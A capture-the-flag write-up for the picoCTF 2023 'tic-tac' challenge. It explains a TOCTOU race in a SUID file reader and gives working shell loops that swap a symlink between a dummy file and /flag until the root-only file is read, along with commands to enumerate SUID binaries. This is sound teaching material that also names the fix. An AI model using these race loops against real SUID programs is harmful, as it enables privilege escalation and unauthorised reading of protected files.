tic-tac picoCTF 2023 Solution

Published: April 26, 2023

Description

A SUID binary first calls access() to check if the current user can read a file, then opens and reads that file. Exploit the TOCTOU (Time-Of-Check Time-Of-Use) race condition by swapping a symlink between the access() check and the open() call to read the protected flag file.

SSH into the server with the provided credentials.

Locate the SUID binary and the flag file path.

bash
ssh <USER>@<HOST> -p <PORT>
bash
find / -perm -4000 2>/dev/null | head -20
  1. Step 1Confirm the access-then-open pattern with ltrace
    Run the binary under ltrace and watch the library call sequence. You should see access() return 0 followed by open() on the same path with no atomic re-validation in between.
    bash
    ltrace ./txtreader /tmp/dummy.txt 2>&1 | head -20
    bash
    strings ./txtreader
    Learn more

    A TOCTOU (Time-Of-Check Time-Of-Use) race condition occurs when a program checks a condition (the check) and then acts on it (the use), but the underlying resource can change between those two operations. In this challenge, the binary uses access(path, R_OK) to verify that the real user (not the effective SUID user) has read permission, then immediately calls open(path).

    The classic ltrace fingerprint that confirms TOCTOU looks like this:

    access("/tmp/dummy.txt", R_OK)             = 0
    open("/tmp/dummy.txt", O_RDONLY)            = 3
    read(3, "dummy\n", 4096)                    = 6
    puts("dummy")                                = 6
    Vulnerable pseudocode in the binary:
    
       if (access(argv[1], R_OK) == 0) {        // CHECK: as real uid
           int fd = open(argv[1], O_RDONLY);    // USE: as euid (root!)
           read(fd, buf, ...);
           puts(buf);
       }
    
    The kernel evaluates access() with your real user ID
    (so you can only point it at files YOU can read), but
    open() in a setuid binary uses the effective UID (root)
    and follows symlinks at the time of the open() call.

    The gap between access() returning and open() executing is tiny, typically 10 to 100 microseconds on a quiet box, but that window is enough. If you can switch the filesystem object at that path from a file you own to a symlink pointing at /flag, the open() will follow the symlink and read the flag with the SUID binary's elevated permissions.

  2. Step 2Set up the race condition infrastructure
    Create a writable dummy file and a symlink. Write a loop that rapidly alternates the symlink between the dummy file and /flag.
    bash
    echo 'dummy' > /tmp/dummy.txt
    bash
    ln -sf /tmp/dummy.txt /tmp/race_link
    bash
    # Switcher loop pinned to CPU 1 so it runs concurrently with the attacker on CPU 0:
    bash
    taskset -c 1 bash -c 'while true; do ln -sf /tmp/dummy.txt /tmp/race_link; ln -sf /flag /tmp/race_link; done' &
    Learn more

    The attack requires two concurrent processes: one that continuously flips the symlink target, and one that repeatedly invokes the SUID binary. ln -sf on Linux implements the swap via rename(2), which is documented as atomic: "If newpath already exists, it will be atomically replaced, so that there is no point at which another process attempting to access newpath will find it missing." In practice this means no other process can ever observe a partial state where the path is missing or half-replaced; readers see either the old target or the new target, never an in-between.

    Why taskset -c 1 matters. If both loops run on the same CPU, the kernel scheduler interleaves them in time slices, so they effectively serialize. Pinning the switcher to a different physical core lets it run truly in parallel with the attacker, multiplying the number of effective swaps per second and dramatically narrowing the gap between syscalls in real wall-clock time.

    A tight loop with no sleep maximizes the number of attempts per second, which increases the probability of hitting the race window. With both loops running at ~50,000 iterations/sec, even a 1-in-1000 hit rate lands the flag within seconds. An even faster approach uses C with rename(2) directly, avoiding shell overhead entirely.

  3. Step 3Race the binary to read the flag
    While the switcher loop runs, repeatedly invoke the SUID binary pointing at the symlink with a bounded retry count. Eventually the timing aligns and the flag is printed.
    bash
    # Bounded retry loop (~100k attempts), exits early on success:
    bash
    for i in $(seq 1 100000); do
    bash
      out=$(./txtreader /tmp/race_link 2>/dev/null)
    bash
      case "$out" in *picoCTF*) echo "$out"; break;; esac
    bash
    done
    bash
    # Or with a wall-clock timeout:
    bash
    timeout 30s bash -c 'while ! ./txtreader /tmp/race_link 2>/dev/null | grep picoCTF; do :; done'
    Learn more

    Each iteration of the outer loop calls the binary, which calls access('/tmp/race_link', R_OK). If the link currently points at /tmp/dummy.txt (which you own), access() returns 0. Then if the switcher flips the link to /flag before open() is called, the binary opens /flag with its root EUID and reads the flag.

    Successful race timeline:
    
      switcher loop                       attacker loop
      -------------                       -------------
      rename(link -> /tmp/dummy)
                                          ./txtreader /tmp/race_link
                                            access(link)  -> /tmp/dummy
                                                             (you own it)
                                                             returns 0
      rename(link -> /flag)         <--- WIN: flips here
                                            open(link)    -> /flag
                                                             (follows symlink
                                                              with root euid!)
                                            read+puts -> picoCTF{...}

    Why probability matters. The race window is roughly the duration of a few syscalls, around 10 to 100 microseconds. The switcher must hit that exact window. Bounding the loop with seq 1 100000 or timeout 30s prevents an unbounded spin if the race never lands due to scheduler quirks.

    TOCTOU vulnerabilities are classified as CWE-367. Real-world exploits have used them to escalate privileges in package managers, cron jobs, and backup utilities. The correct fix is to use openat() with O_NOFOLLOW and file descriptor-based operations, or to check permissions after opening rather than before. For more on Linux command-line workflows used in this exploit, see Linux CLI for CTF.

Flag

picoCTF{...}

This challenge was not solved during the competition. Follow the steps above to reproduce the solution.

Want more picoCTF 2023 writeups?

Useful tools for Binary Exploitation

Related reading

What to try next